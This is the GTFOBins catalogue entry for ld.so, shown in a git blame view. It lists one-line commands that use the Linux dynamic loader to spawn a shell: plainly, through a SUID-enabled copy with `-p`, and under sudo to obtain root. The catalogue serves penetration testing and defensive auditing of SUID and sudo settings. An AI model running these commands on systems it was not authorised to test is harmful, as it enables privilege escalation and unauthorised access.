GTFOBins.github.io/_gtfobins/ld.so.md

18 lines
417 B
Markdown
Raw Normal View History

2018-05-21 19:14:41 +00:00
---
2018-05-22 10:40:35 +00:00
description: |
2018-06-01 10:40:05 +00:00
`ld.so` is the Linux dynamic linker/loader, its filename and location might
change across distributions. The proper path is can be obtained with:
2018-05-22 10:40:35 +00:00
```
$ strings /proc/self/exe | head -1
/lib64/ld-linux-x86-64.so.2
```
2018-05-21 19:14:41 +00:00
functions:
2018-05-25 13:30:02 +00:00
execute-interactive:
2018-07-16 13:01:50 +00:00
- code: /lib/ld.so /bin/sh
2018-05-21 19:14:41 +00:00
suid-enabled:
2018-07-16 13:01:50 +00:00
- code: ./ld.so /bin/sh -p
2018-07-04 18:26:52 +00:00
sudo-enabled:
2018-07-16 13:01:50 +00:00
- code: sudo /lib/ld.so /bin/sh
2018-05-21 19:14:41 +00:00
---